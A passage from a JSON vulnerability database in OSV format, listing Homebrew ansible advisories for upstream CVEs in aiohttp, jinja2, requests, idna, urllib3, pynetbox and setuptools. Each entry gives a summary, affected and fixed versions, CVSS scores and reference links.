self._content.read(chunk_size)\n+ if self._content.at_eof():\n+ self._at_eof = True\n return chunk\n \n async def _read_chunk_from_stream(self, size: int) -> bytes:\n```\n\nThis does however introduce some very minor issues with handling form data. So, if possible, it would be recommended to also backport the changes in:\nhttps://github.com/aio-libs/aiohttp/commit/cebe526b9c34dc3a3da9140409db63014bc4cf19\nhttps://github.com/aio-libs/aiohttp/commit/7eecdff163ccf029fbb1ddc9de4169d4aaeb6597\nhttps://github.com/aio-libs/aiohttp/commit/f21c6f2ca512a026ce7f0f6c6311f62d6a638866","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5m98-qgg9-wh84"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-30251"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/7eecdff163ccf029fbb1ddc9de4169d4aaeb6597"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/cebe526b9c34dc3a3da9140409db63014bc4cf19"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f21c6f2ca512a026ce7f0f6c6311f62d6a638866"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/05/02/4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-34064","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-h75v-3vvj-5mfj","CVE-2024-34064","PYSEC-2026-1474"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.4","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja vulnerable to HTML attribute injection when passing user input as keys to xmlattr filter","details":"The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters.\n\nAccepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-h75v-3vvj-5mfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34064"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/0668239dc6b44ef38e7a6c9f91f312fd4ca581cb"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00009.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/567XIGSZMABG6TSMYWD7MIYNJSUQQRUC"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GCLF44KY43BSVMTE6S53B4V5WP3FRRSE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SSCBHIL6BYKR5NRCBXP4XMP2CEEKGFVS"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZALNWE3TXPPHVPSI3AZ5CTMSTAVN5UMS"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-35195","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-9wx4-h78v-vm56","CVE-2024-35195","PYSEC-2026-1873"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.0","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests `Session` object does not verify requests after making first request with verify=False","details":"When using a `requests.Session`, if the first request to a given origin is made with `verify=False`, TLS certificate verification may remain disabled for all subsequent requests to that origin, even if `verify=True` is explicitly specified later.\n\nThis occurs because the underlying connection is reused from the session's connection pool, causing the initial TLS verification setting to persist for the lifetime of the pooled connection. As a result, applications may unintentionally send requests without certificate verification, leading to potential man-in-the-middle attacks and compromised confidentiality or integrity.\n\nThis behavior affects versions of `requests` prior to 2.32.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9wx4-h78v-vm56"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-35195"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6655"},{"type":"WEB","url":"https://github.com/psf/requests/commit/a58d7f2ffb4d00b46dca2d70a3932a0b37e22fac"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/IYLSNK5TL46Q6XPRVMHVWS63MVJQOK4Q"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/N7WP6EYDSUOCOJYHDK5NX43PYZ4SNHGZ"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-3651","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:43:27Z","upstream":["GHSA-jjg7-2v4v-x38h","CVE-2024-3651","PYSEC-2024-60"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.7","resource":"idna","resource_purl":"pkg:pypi/idna@3.20"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"idna","subject_version":"3.20","key":"pkg:pypi/idna@3.20","resource":"idna"}]},"summary":"Internationalized Domain Names in Applications (IDNA) vulnerable to denial of service from specially crafted inputs to idna.encode","details":"### Impact\nA specially crafted argument to the `idna.encode()` function could consume significant resources. This may lead to a denial-of-service.\n\n### Patches\nThe function has been refined to reject such strings without the associated resource consumption in version 3.7.\n\n### Workarounds\nDomain names cannot exceed 253 characters in length, if this length limit is enforced prior to passing the domain to the `idna.encode()` function it should no longer consume significant resources. This is triggered by arbitrarily large inputs that would not occur in normal usage, but may be passed to the library assuming there is no preliminary input validation by the higher-level application.\n\n### References\n* https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/kjd/idna/security/advisories/GHSA-jjg7-2v4v-x38h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-3651"},{"type":"WEB","url":"https://github.com/kjd/idna/commit/1d365e17e10d72d0b7876316fc7b9ca0eebdd38d"},{"type":"PACKAGE","url":"https://github.com/kjd/idna"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/idna/PYSEC-2024-60.yaml"},{"type":"WEB","url":"https://huntr.com/bounties/93d78d07-d791-4b39-a845-cbfabc44aadb"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/05/msg00006.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4YQUPYH3SVZ5GFF2CDQ55FCM575AZTF2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/F2S5E23N6E52S46KGNYTDFB75LOC4N4D"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S5IDLLD2IKSIVRBSLB34WTSYGLMWUFWF"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ULSC7HBJKXB3BZV367WM5BR6DFEC4Z43"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-37891","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-34jh-p97f-mpxf","CVE-2024-37891","PYSEC-2026-1995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.2","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's Proxy-Authorization request header isn't stripped during cross-origin redirects","details":"When using urllib3's proxy support with `ProxyManager`, the `Proxy-Authorization` header is only sent to the configured proxy, as expected.\n\nHowever, when sending HTTP requests *without* using urllib3's proxy support, it's possible to accidentally configure the `Proxy-Authorization` header even though it won't have any effect as the request is not using a forwarding proxy or a tunneling proxy. In those cases, urllib3 doesn't treat the `Proxy-Authorization` HTTP header as one carrying authentication material and thus doesn't strip the header on cross-origin redirects.\n\nBecause this is a highly unlikely scenario, we believe the severity of this vulnerability is low for almost all users. Out of an abundance of caution urllib3 will automatically strip the `Proxy-Authorization` header during cross-origin redirects to avoid the small chance that users are doing this on accident.\n\nUsers should use urllib3's proxy support or disable automatic redirects to achieve safe processing of the `Proxy-Authorization` header, but we still decided to strip the header by default in order to further protect users who aren't using the correct approach.\n\n## Affected usages\n\nWe believe the number of usages affected by this advisory is low. It requires all of the following to be true to be exploited:\n\n* Setting the `Proxy-Authorization` header without using urllib3's built-in proxy support.\n* Not disabling HTTP redirects.\n* Either not using an HTTPS origin server or for the proxy or target origin to redirect to a malicious origin.\n\n## Remediation\n\n* Using the `Proxy-Authorization` header with urllib3's `ProxyManager`.\n* Disabling HTTP redirects using `redirects=False` when sending requests.\n* Not using the `Proxy-Authorization` header.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-37891"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/40b6d1605814dd1db0a46e202d6e56f2e4c9a468"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/accff72ecc2f6cf5a76d9570198a93ac7c90270e"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240822-0003"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/proxy-authorization-header-handling-vulnerability-in-urllib3-cve-2024-37891"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-42367","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-jwhx-xcg6-8xhj","CVE-2024-42367","PYSEC-2026-1108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.2","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"In aiohttp, compressed files as symlinks are not protected from path traversal","details":"### Summary\nStatic routes which contain files with compressed variants (`.gz` or `.br` extension) were vulnerable to path traversal outside the root directory if those variants are symbolic links.\n\n### Details\nThe server protects static routes from path traversal outside the root directory when `follow_symlinks=False` (default). It does this by resolving the requested URL to an absolute path and then checking that path relative to the root. However, these checks are not performed when looking for compressed variants in the `FileResponse` class, and symbolic links are then automatically followed when performing `Path.stat()` and `Path.open()` to send the file.\n\n### Impact\nServers with static routes that contain compressed variants as symbolic links, pointing outside the root directory, or that permit users to upload or create such links, are impacted.\n\n----\n\nPatch: https://github.com/aio-libs/aiohttp/pull/8653/files","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jwhx-xcg6-8xhj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-42367"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/8653"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/ce2e9758814527589b10759a20783fb03b98339f"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/e0ff5246e1d29b7710ab1a2bbc972b48169f1c05/aiohttp/web_fileresponse.py#L177"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/blob/e0ff5246e1d29b7710ab1a2bbc972b48169f1c05/aiohttp/web_urldispatcher.py#L674"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-47081","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-9hjg-9r4m-mvj7","CVE-2024-47081","PYSEC-2026-1872"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.32.4","resource":"requests","resource_purl":"pkg:pypi/requests@2.34.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"requests","subject_version":"2.34.2","key":"pkg:pypi/requests@2.34.2","resource":"requests"}]},"summary":"Requests vulnerable to .netrc credentials leak via malicious URLs","details":"### Impact\n\nDue to a URL parsing issue, Requests releases prior to 2.32.4 may leak .netrc credentials to third parties for specific maliciously-crafted URLs.\n\n### Workarounds\nFor older versions of Requests, use of the .netrc file can be disabled with `trust_env=False` on your Requests Session ([docs](https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env)).\n\n### References\nhttps://github.com/psf/requests/pull/6965\nhttps://seclists.org/fulldisclosure/2025/Jun/2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/psf/requests/security/advisories/GHSA-9hjg-9r4m-mvj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47081"},{"type":"WEB","url":"https://github.com/psf/requests/pull/6965"},{"type":"WEB","url":"https://github.com/psf/requests/commit/96ba401c1296ab1dda74a2365ef36d88f7d144ef"},{"type":"PACKAGE","url":"https://github.com/psf/requests"},{"type":"WEB","url":"https://requests.readthedocs.io/en/latest/api/#requests.Session.trust_env"},{"type":"WEB","url":"https://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2025/Jun/2"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/11"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/03/9"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/1"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2025/06/04/6"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-47226","published":"2026-08-13T16:35:22Z","modified":"2026-09-03T08:45:28Z","upstream":["PYSEC-2024-325","CVE-2024-47226"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","resource":"pynetbox","resource_purl":"pkg:pypi/pynetbox@7.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pynetbox","subject_version":"7.8.0","key":"pkg:pypi/pynetbox@7.8.0","resource":"pynetbox"}]},"details":"A stored cross-site scripting (XSS) vulnerability exists in NetBox 4.1.0 within the \"Configuration History\" feature of the \"Admin\" panel via a /core/config-revisions/ Add action. An authenticated user can inject arbitrary JavaScript or HTML into the \"Top banner\" field. NOTE: Multiple third parties have disputed this as not a vulnerability. It is argued that the configuration revision banner feature is meant to contain unsanitized HTML in order to display notifications to users. Since these fields are intended to display unsanitized HTML, this is working as intended.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"}],"references":[{"type":"ADVISORY","url":"https://github.com/netbox-community/netbox/releases/tag/v4.1.0"},{"type":"REPORT","url":"https://github.com/tu3n4nh/netbox/issues/1"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-52303","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-27mf-ghqm-j3j8","CVE-2024-52303","PYSEC-2026-1096"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp has a memory leak when middleware is enabled when requesting a resource with a non-allowed method","details":"### Summary\n\nA memory leak can occur when a request produces a `MatchInfoError`. This was caused by adding an entry to a cache on each request, due to the building of each `MatchInfoError` producing a unique cache entry.\n\n### Impact\n\nIf the user is making use of any middlewares with `aiohttp.web` then it is advisable to upgrade immediately.\n\nAn attacker may be able to exhaust the memory resources of a server by sending a substantial number (100,000s to millions) of such requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-27mf-ghqm-j3j8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52303"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/bc15db61615079d1b6327ba42c682f758fa96936"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-52304","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-8495-4g3g-x7pr","CVE-2024-52304","PYSEC-2026-1103"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.10.11","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp allows request smuggling due to incorrect parsing of chunk extensions","details":"### Summary\nThe Python parser parses newlines in chunk extensions incorrectly which can lead to request smuggling vulnerabilities under certain conditions.\n\n### Impact\nIf a pure Python version of aiohttp is installed (i.e. without the usual C extensions) or `AIOHTTP_NO_EXTENSIONS` is enabled, then an attacker may be able to execute a request smuggling attack to bypass certain firewalls or proxy protections.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-8495-4g3g-x7pr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-52304"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/259edc369075de63e6f3a4eaade058c62af0df71"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-56201","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-gmj6-6f8f-6699","CVE-2024-56201","PYSEC-2026-1472"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through malicious filenames","details":"A bug in the Jinja compiler allows an attacker that controls both the content and filename of a template to execute arbitrary Python code, regardless of if Jinja's sandbox is used.\n\nTo exploit the vulnerability, an attacker needs to control both the filename and the contents of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates where the template author can also choose the template filename.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-gmj6-6f8f-6699"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56201"},{"type":"WEB","url":"https://github.com/pallets/jinja/issues/1792"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-56326","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-q2x7-8rv6-6q7h","CVE-2024-56326","PYSEC-2026-1475"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.1.5","resource":"jinja2","resource_purl":"pkg:pypi/jinja2@3.1.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"jinja2","subject_version":"3.1.6","key":"pkg:pypi/jinja2@3.1.6","resource":"jinja2"}]},"summary":"Jinja has a sandbox breakout through indirect reference to format method","details":"An oversight in how the Jinja sandboxed environment detects calls to `str.format` allows an attacker that controls the content of a template to execute arbitrary Python code.\n\nTo exploit the vulnerability, an attacker needs to control the content of a template. Whether that is the case depends on the type of application using Jinja. This vulnerability impacts users of applications which execute untrusted templates.\n\nJinja's sandbox does catch calls to `str.format` and ensures they don't escape the sandbox. However, it's possible to store a reference to a malicious string's `format` method, then pass that to a filter that calls it. No such filters are built-in to Jinja, but could be present through custom filters in an application. After the fix, such indirect calls are also handled by the sandbox.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/pallets/jinja/security/advisories/GHSA-q2x7-8rv6-6q7h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-56326"},{"type":"WEB","url":"https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4"},{"type":"PACKAGE","url":"https://github.com/pallets/jinja"},{"type":"WEB","url":"https://github.com/pallets/jinja/releases/tag/3.1.5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00022.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-6345","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-cx63-2mw6-8hw5","BIT-setuptools-2024-6345","CVE-2024-6345","PYSEC-2026-1918"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"70.0.0","resource":"setuptools","resource_purl":"pkg:pypi/setuptools@84.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"setuptools","subject_version":"84.0.0","key":"pkg:pypi/setuptools@84.0.0","resource":"setuptools"}]},"summary":"setuptools vulnerable to Command Injection via package URL","details":"A vulnerability in the `package_index` module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-6345"},{"type":"WEB","url":"https://github.com/pypa/setuptools/pull/4332"},{"type":"WEB","url":"https://github.com/pypa/setuptools/commit/88807c7062788254f654ea8c03427adc859321f0"},{"type":"PACKAGE","url":"https://github.com/pypa/setuptools"},{"type":"WEB","url":"https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2024-8775","published":"2026-08-13T16:35:22Z","modified":"2026-09-10T18:51:05Z","upstream":["CVE-2024-8775","GHSA-jpxc-vmjf-9fcj","PYSEC-2026-1124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg